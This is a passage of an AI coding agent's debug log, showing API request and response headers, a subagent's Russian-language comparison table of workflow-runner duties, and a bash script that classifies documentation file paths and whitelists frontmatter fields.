\"none\",\n[2026-09-29T07:46:35.880Z] [STDOUT]   \"cf-ray\": \"a4295ff2cf3629ad-FRA\",\n[2026-09-29T07:46:35.882Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:46:35.887Z] [STDOUT] [log_0be5d3] response parsed {\n[2026-09-29T07:46:35.890Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:35.893Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:35.896Z] [STDOUT]   body: X {\n[2026-09-29T07:46:35.902Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:46:35.905Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:46:35.909Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:46:35.912Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:46:35.918Z] [STDOUT]     },\n[2026-09-29T07:46:35.925Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:46:35.930Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:46:35.934Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:46:35.941Z] [STDOUT]   },\n[2026-09-29T07:46:35.948Z] [STDOUT]   durationMs: 889,\n[2026-09-29T07:46:35.950Z] [STDOUT] }\n[2026-09-29T07:46:35.955Z] [STDOUT] [log_e7ccb8, request-id: \"req_011CfXMqvAiytoc5WkPSRYFY\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 838ms\n[2026-09-29T07:46:35.959Z] [STDOUT] [log_e7ccb8] response start {\n[2026-09-29T07:46:35.962Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:35.964Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:35.968Z] [STDOUT]   headers: {\n[2026-09-29T07:46:35.971Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:35.979Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:35.985Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:35.999Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:46:36.009Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:36.013Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:36.017Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:36.023Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:36.028Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:36.031Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:36.037Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:36.045Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:36.053Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:36.057Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:36.060Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:36.069Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:36.074Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:36.079Z] [STDOUT]     \"cf-ray\": \"a4295ff7686a01ff-CDG\",\n[2026-09-29T07:46:36.083Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:46:36.086Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:36.088Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:36.091Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:36.097Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:46:35 GMT\",\n[2026-09-29T07:46:36.102Z] [STDOUT]     \"request-id\": \"req_011CfXMqvAiytoc5WkPSRYFY\",\n[2026-09-29T07:46:36.107Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:46:36.111Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:36.116Z] [STDOUT]     traceresponse: \"00-7d6e100e3d82010946958ee9983f010c-9f6562b95374c3c6-01\",\n[2026-09-29T07:46:36.123Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:36.128Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:46:36.134Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:36.137Z] [STDOUT]   },\n[2026-09-29T07:46:36.144Z] [STDOUT]   durationMs: 838,\n[2026-09-29T07:46:36.155Z] [STDOUT] }\n[2026-09-29T07:46:36.164Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:46:36.170Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:46:35 GMT\",\n[2026-09-29T07:46:36.173Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:36.181Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:36.191Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:46:36.193Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:36.198Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:36.201Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:36.206Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:46:36.209Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:36.212Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:36.216Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:36.224Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:36.241Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:36.252Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:46:36.258Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:36.262Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:36.269Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:36.274Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:36.277Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:36.280Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:36.284Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:36.288Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:36.290Z] [STDOUT]   \"request-id\": \"req_011CfXMqvAiytoc5WkPSRYFY\",\n[2026-09-29T07:46:36.304Z] [STDOUT]   \"traceresponse\": \"00-7d6e100e3d82010946958ee9983f010c-9f6562b95374c3c6-01\",\n[2026-09-29T07:46:36.307Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:36.312Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:36.315Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:46:36.319Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:36.324Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:36.328Z] [STDOUT]   \"cf-ray\": \"a4295ff7686a01ff-CDG\",\n[2026-09-29T07:46:36.332Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:46:36.334Z] [STDOUT] [log_e7ccb8] response parsed {\n[2026-09-29T07:46:36.337Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:36.341Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:36.344Z] [STDOUT]   body: X {\n[2026-09-29T07:46:36.348Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:46:36.351Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:46:36.358Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:46:36.360Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:46:36.364Z] [STDOUT]     },\n[2026-09-29T07:46:36.369Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:46:36.374Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:46:36.379Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:46:36.384Z] [STDOUT]   },\n[2026-09-29T07:46:36.389Z] [STDOUT]   durationMs: 839,\n[2026-09-29T07:46:36.394Z] [STDOUT] }\n[2026-09-29T07:46:36.400Z] [INFO] {\n[2026-09-29T07:46:36.400Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:46:36.400Z] [INFO]   \"message\": {\n[2026-09-29T07:46:36.400Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:46:36.400Z] [INFO]     \"id\": \"msg_011CfXMqsahfXJACfQi6Gz7D\",\n[2026-09-29T07:46:36.400Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:46:36.400Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:46:36.400Z] [INFO]     \"content\": [\n[2026-09-29T07:46:36.400Z] [INFO]       {\n[2026-09-29T07:46:36.400Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:46:36.400Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:46:36.400Z] [INFO]         \"signature\": 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Full output saved to: /home/box/.claude/projects/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de/tool-results/bplthp03z.txt\\n\\nPreview (first 2KB):\\n## \u0421\u043b\u043e\u0439 1. \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c: \u0447\u0442\u043e \u043e\u043d\u0430 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043e\u0442 \u0441\u0440\u0435\u0434\u044b \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f\\n\\n\u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438, \u043d\u043e \u0438 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f:\\n\u043a\u0430\u043a \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442\u044c \u0433\u0440\u0430\u0444, \u0447\u0442\u043e \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c, \u043a\u043e\u0433\u0434\u0430 \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c\u0441\u044f. \u042d\u0442\u0438\\n\u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u2014 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u0437\u0430\u0434\u0430\u043d\u0438\u0435 \u0434\u043b\u044f \u0441\u0440\u0435\u0434\u044b. \u0422\u0430\u0431\u043b\u0438\u0446\u0430 \u0441\u0432\u0435\u0440\u044f\u0435\u0442 \u0438\u0445 \u0441 \u0442\u0435\u043c,\\n\u0447\u0442\u043e \u0435\u0441\u0442\u044c \u0432 \u043f\u0430\u043a\u0435\u0442\u0430\u0445.\\n\\n| \u041e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e | \u0413\u0434\u0435 \u0432 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 | \u0421\u0440\u0435\u0434\u0430 1: \u043f\u0430\u043a\u0435\u0442 GigaCode | \u0421\u0440\u0435\u0434\u0430 2: \u043f\u0430\u043a\u0435\u0442 Cline | \u041a\u0442\u043e \u0434\u043e\u043b\u0436\u0435\u043d \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0442\u044c |\\n|---------------|-------------------|--------------------------|----------------------|----------------------|\\n| \u0427\u0438\u0442\u0430\u0442\u044c \u0433\u0440\u0430\u0444 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 \u043f\u0440\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0435, \u043f\u0438\u0441\u0430\u0442\u044c \u043b\u0438\u0441\u0442 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 | [`30-decision-framework.md` L49, L154](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L49) \u2014 \u00ab\u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u00bb | Runner \u0447\u0438\u0442\u0430\u0435\u0442 \u0433\u0440\u0430\u0444, \u043d\u043e \u043f\u0435\u0440\u0435\u0445\u043e\u0434 \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u0442 \u0438 \u043d\u0430\u0431\u0438\u0440\u0430\u0435\u0442 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\u0434\u043b\u044f 8 \u0443\u0437\u043b\u043e\u0432 (`P11`) | \u0412\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u0439 \u043d\u0435\u0442 | Runner ([\u0413-28](#\u0433-28)) |\\n| \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0432\u044b\u0445\u043e\u0434\u0430 \u0443\u0437\u043b\u0430 \u043f\u043e \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0443 | [`10-theory.md` L50](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md#L50): `Gate` \u2014 \u00ab\u0432 \u043a\u0430\u043a\u043e\u0439 \u0442\u043e\u0447\u043a\u0435 \u0438 \u043a\u0435\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u00bb | \u041d\u0430 \u043f\u0440\u043e\u043c\u0435\u0436\u0443\u0442\u043e\u0447\u043d\u044b\u0445 \u0443\u0437\u043b\u0430\u0445 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043f\u0430\u043a\u0435\u0442, \u0430 \u043d\u0435 \u0432\u044b\u0445\u043e\u0434 (`P10`) | \u0422\u043e\u043b\u044c\u043a\u043e Working \u0438 Release | Runner ([\u0413-29](#\u0433-29)) |\\n| \u041e\u0434\u043d\u0430 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u0438\u0440\u0443\u044e\u0449\u0430\u044f \u043f\u043e\u043f\u044b\u0442\u043a\u0430 \u043f\u043e\u0441\u043b\u0435 \u043e\u0442\u043a\u0430\u0437\u0430 G-mach (`EP-R7`) | [L231](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L231) | \u041d\u043e\u043b\u044c \u043f\u043e\u043f\u044b\u0442\u043e\u043a; \u043b\u044e\u0431\u043e\u0439 \u043e\u0442\u043a\u0430\u0437 \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u0442 \u0437\u0430\u0434\u0430\u0447\u0443 (`P12`) | \u041f\u043e\u0432\u0442\u043e\u0440 \u2014 \u0441 \u043d\u043e\u0432\u044b\u043c TASK ID | Runner ([\u0413-32](#\u0433-32), [\u0413-33](#\u0433-33)) |\\n...\\n\",\n[2026-09-29T07:46:37.540Z] [INFO]         \"is_error\": false\n[2026-09-29T07:46:37.540Z] [INFO]       }\n[2026-09-29T07:46:37.540Z] [INFO]     ]\n[2026-09-29T07:46:37.540Z] [INFO]   },\n[2026-09-29T07:46:37.540Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:46:37.540Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:37.540Z] [INFO]   \"uuid\": \"b526e1de-5e46-4030-828a-5a876dfffd1c\",\n[2026-09-29T07:46:37.540Z] [INFO]   \"timestamp\": \"2026-09-29T07:46:37.535Z\",\n[2026-09-29T07:46:37.540Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:46:37.540Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:46:37.540Z] [INFO] }\n[2026-09-29T07:46:37.650Z] [STDOUT] [log_cf01f0] sending request {\n[2026-09-29T07:46:37.664Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:46:37.677Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:37.688Z] [STDOUT]   options: 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\"4a039067-21e9-404e-af49-ea48788e520f\",\n[2026-09-29T07:46:37.997Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:46:38.002Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:46:38.005Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:46:38.010Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:46:38.020Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:46:38.028Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:46:38.038Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:46:38.041Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:46:38.046Z] [STDOUT]   },\n[2026-09-29T07:46:38.051Z] [STDOUT] }\n[2026-09-29T07:46:38.057Z] [INFO] {\n[2026-09-29T07:46:38.057Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:46:38.057Z] [INFO]   \"message\": {\n[2026-09-29T07:46:38.057Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:46:38.057Z] [INFO]     \"content\": [\n[2026-09-29T07:46:38.057Z] [INFO]       {\n[2026-09-29T07:46:38.057Z] [INFO]         \"tool_use_id\": \"toolu_013uwtSUd2hzkhBMTPVq1SZs\",\n[2026-09-29T07:46:38.057Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:46:38.057Z] [INFO]         \"content\": \"      printf 'adr'\\n      ;;\\n    standards/*.md)\\n      printf 'standard'\\n      ;;\\n    .github/ISSUE_TEMPLATE/*.md | templates/*/.github/ISSUE_TEMPLATE/*.md)\\n      printf 'issue-template'\\n      ;;\\n    templates/*.md | templates/*/*.md | templates/*/*/*.md)\\n      printf 'template'\\n      ;;\\n    guides/*.md | docs/guides/*.md)\\n      printf 'guide'\\n      ;;\\n    practices/*.md | practices/*/*.md)\\n      printf 'practice'\\n      ;;\\n    *)\\n      printf 'default'\\n      ;;\\n  esac\\n}\\n\\nis_governance_class() {\\n  case \\\"$1\\\" in\\n    governance | rfc | adr | standard)\\n      return 0\\n      ;;\\n    *)\\n      return 1\\n      ;;\\n  esac\\n}\\n\\nis_knowledge_class() {\\n  case \\\"$1\\\" in\\n    knowledge | audit)\\n      return 0\\n      ;;\\n    *)\\n      return 1\\n      ;;\\n  esac\\n}\\n\\nis_approved_field() {\\n  local class=\\\"$1\\\"\\n  local key=\\\"$2\\\"\\n\\n  case \\\"$class:$key\\\" in\\n    *:status | *:version | *:updated | *:temperature)\\n      return 0\\n      ;;\\n    *:ai-generated)\\n      return 1\\n      ;;\\n    knowledge:owner | knowledge:type | knowledge:context | knowledge:method | knowledge:scope | \\\\\\n    knowledge:source | knowledge:source_id | knowledge:stage | knowledge:projects | \\\\\\n    knowledge:related_artifacts | knowledge:related_issues | knowledge:related_issue | \\\\\\n    knowledge:external_artifacts | knowledge:based_on | knowledge:report-subtype | \\\\\\n    knowledge:analysis-subtype | knowledge:supersedes)\\n      return 0\\n      ;;\\n    audit:owner | audit:type | audit:context | audit:method | audit:scope | \\\\\\n    audit:source | audit:source_id | audit:stage | audit:projects | \\\\\\n    audit:related_artifacts | audit:related_issues | audit:related_issue | \\\\\\n    audit:external_artifacts | audit:based_on | audit:audit_target | \\\\\\n    audit:evidence_model | audit:verdict | audit:severity_scale | \\\\\\n    audit:follow_up | audit:related_norm)\\n      return 0\\n      ;;\\n    governance:owner | governance:executable | governance:entrypoint)\\n      return 0\\n      ;;\\n    rfc:owner | rfc:rfc-scope | rfc:executable | rfc:entrypoint | \\\\\\n    rfc:type | rfc:context | rfc:method | rfc:scope | rfc:source | \\\\\\n    rfc:related_artifacts | rfc:related_issues)\\n      return 0\\n      ;;\\n    adr:owner | adr:decision-type | adr:executable | adr:entrypoint | \\\\\\n    adr:supersedes)\\n      return 0\\n      ;;\\n    standard:owner | standard:executable | standard:entrypoint | standard:scope | \\\\\\n    standard:level | standard:concept_type | standard:related_standards | \\\\\\n    standard:related_templates | standard:related_issues)\\n      return 0\\n      ;;\\n    issue-template:name | issue-template:about | issue-template:title | \\\\\\n    issue-template:labels | issue-template:assignees)\\n      return 0\\n      ;;\\n    template:executable | template:entrypoint | template:level | template:standard)\\n      return 0\\n      ;;\\n    guide:audience | guide:entrypoint | guide:executable)\\n      return 0\\n      ;;\\n    practice:source | practice:executable | practice:entrypoint)\\n      return 0\\n      ;;\\n    execution-package:name | execution-package:description | execution-package:product_class | \\\\\\n    execution-package:packs | execution-package:interaction | execution-package:inputs | \\\\\\n    execution-package:outputs | execution-package:contracts | execution-package:gates | \\\\\\n    execution-package:compiled_from | execution-package:derived_from | execution-package:compiled_at | \\\\\\n    execution-package:golden_id | execution-package:artifact_class | execution-package:origin | \\\\\\n    execution-package:confirmed_by | execution-package:priority | \\\\\\n    execution-package:disable-model-invocation)\\n      return 0\\n      ;;\\n    default:executable | default:entrypoint | default:source | default:based_on | \\\\\\n    default:author | default:session | default:self-report | default:scope | \\\\\\n    default:type | default:context | default:method | default:related_artifacts | \\\\\\n    default:related_issues)\\n      return 0\\n      ;;\\n    *)\\n      return 1\\n      ;;\\n  esac\\n}\",\n[2026-09-29T07:46:38.057Z] [INFO]         \"is_error\": false\n[2026-09-29T07:46:38.057Z] [INFO]       }\n[2026-09-29T07:46:38.057Z] [INFO]     ]\n[2026-09-29T07:46:38.057Z] [INFO]   },\n[2026-09-29T07:46:38.057Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:46:38.057Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:38.057Z] [INFO]   \"uuid\": \"a062aac2-35bd-465a-a84c-cd810041de64\",\n[2026-09-29T07:46:38.057Z] [INFO]   \"timestamp\": \"2026-09-29T07:46:37.715Z\",\n[2026-09-29T07:46:38.057Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:46:38.057Z] [INFO]     \"stdout\": \"      printf 'adr'\\n      ;;\\n    standards/*.md)\\n      printf 'standard'\\n      ;;\\n    .github/ISSUE_TEMPLATE/*.md | templates/*/.github/ISSUE_TEMPLATE/*.md)\\n      printf 'issue-template'\\n      ;;\\n    templates/*.md | templates/*/*.md | templates/*/*/*.md)\\n      printf 'template'\\n      ;;\\n    guides/*.md | docs/guides/*.md)\\n      printf 'guide'\\n      ;;\\n    practices/*.md | practices/*/*.md)\\n      printf 'practice'\\n      ;;\\n    *)\\n      printf 'default'\\n      ;;\\n  esac\\n}\\n\\nis_governance_class() {\\n  case \\\"$1\\\" in\\n    governance | rfc | adr | standard)\\n      return 0\\n      ;;\\n    *)\\n      return 1\\n      ;;\\n  esac\\n}\\n\\nis_knowledge_class() {\\n  case \\\"$1\\\" in\\n    knowledge | audit)\\n      return 0\\n      ;;\\n    *)\\n      return 1\\n      ;;\\n  esac\\n}\\n\\nis_approved_field() {\\n  local class=\\\"$1\\\"\\n  local key=\\\"$2\\\"\\n\\n  case \\\"$class:$key\\\" in\\n    *:status | *:version | *:updated | *:temperature)\\n      return 0\\n      ;;\\n    *:ai-generated)\\n      return 1\\n      ;;\\n    knowledge:owner | knowledge:type | knowledge:context | knowledge:method | knowledge:scope | \\\\\\n    knowledge:source | knowledge:source_id | knowledge:stage | knowledge:projects | \\\\\\n    knowledge:related_artifacts | knowledge:related_issues | knowledge:related_issue | \\\\\\n    knowledge:external_artifacts | knowledge:based_on | knowledge:report-subtype | \\\\\\n    knowledge:analysis-subtype | knowledge:supersedes)\\n      return 0\\n      ;;\\n    audit:owner | audit:type | audit:context | audit:method | audit:scope | \\\\\\n    audit:source | audit:source_id | audit:stage | audit:projects | \\\\\\n    audit:related_artifacts | audit:related_issues | audit:related_issue | \\\\\\n    audit:external_artifacts | audit:based_on | audit:audit_target | \\\\\\n    audit:evidence_model | audit:verdict | audit:severity_scale | \\\\\\n    audit:follow_up | audit:related_norm)\\n      return 0\\n      ;;\\n    governance:owner | governance:executable | governance:entrypoint)\\n      return 0\\n      ;;\\n    rfc:owner | rfc:rfc-scope | rfc:executable | rfc:entrypoint | \\\\\\n    rfc:type | rfc:context | rfc:method | rfc:scope | rfc:source | \\\\\\n    rfc:related_artifacts | rfc:related_issues)\\n      return 0\\n      ;;\\n    adr:owner | adr:decision-type | adr:executable | adr:entrypoint | \\\\\\n    adr:supersedes)\\n      return 0\\n      ;;\\n    standard:owner | standard:executable | standard:entrypoint | standard:scope | \\\\\\n    standard:level | standard:concept_type | standard:related_standards | \\\\\\n    standard:related_templates | standard:related_issues)\\n      return 0\\n      ;;\\n    issue-template:name | issue-template:about | issue-template:title | \\\\\\n    issue-template:labels | issue-template:assignees)\\n      return 0\\n      ;;\\n    template:executable | template:entrypoint | template:level | template:standard)\\n      return 0\\n      ;;\\n    guide:audience | guide:entrypoint | guide:executable)\\n      return 0\\n      ;;\\n    practice:source | practice:executable | practice:entrypoint)\\n      return 0\\n      ;;\\n    execution-package:name | execution-package:description | execution-package:product_class | \\\\\\n    execution-package:packs | execution-package:interaction | execution-package:inputs | \\\\\\n    execution-package:outputs | execution-package:contracts | execution-package:gates | \\\\\\n    execution-package:compiled_from | execution-package:derived_from | execution-package:compiled_at | \\\\\\n    execution-package:golden_id | execution-package:artifact_class | execution-package:origin | \\\\\\n    execution-package:confirmed_by | execution-package:priority | \\\\\\n    execution-package:disable-model-invocation)\\n      return 0\\n      ;;\\n    default:executable | default:entrypoint | default:source | default:based_on | \\\\\\n    default:author | default:session | default:self-report | default:scope | \\\\\\n    default:type | default:context | default:method | default:related_artifacts | \\\\\\n    default:related_issues)\\n      return 0\\n      ;;\\n    *)\\n      return 1\\n      ;;\\n  esac\\n}\",\n[2026-09-29T07:46:38.057Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:46:38.057Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:46:38.057Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:46:38.057Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T07:46:38.057Z] [INFO]   }\n[2026-09-29T07:46:38.057Z] [INFO] }\n[2026-09-29T07:46:38.064Z] [STDOUT] [log_2d2a14] sending request {\n[2026-09-29T07:46:38.069Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:46:38.073Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:38.077Z] [STDOUT]   options: {\n[2026-09-29T07:46:38.080Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:46:38.085Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:46:38.091Z] [STDOUT]     body: {\n[2026-09-29T07:46:38.093Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:46:38.098Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:46:38.103Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:46:38.108Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:46:38.112Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:46:38.118Z] [STDOUT]       max_tokens: 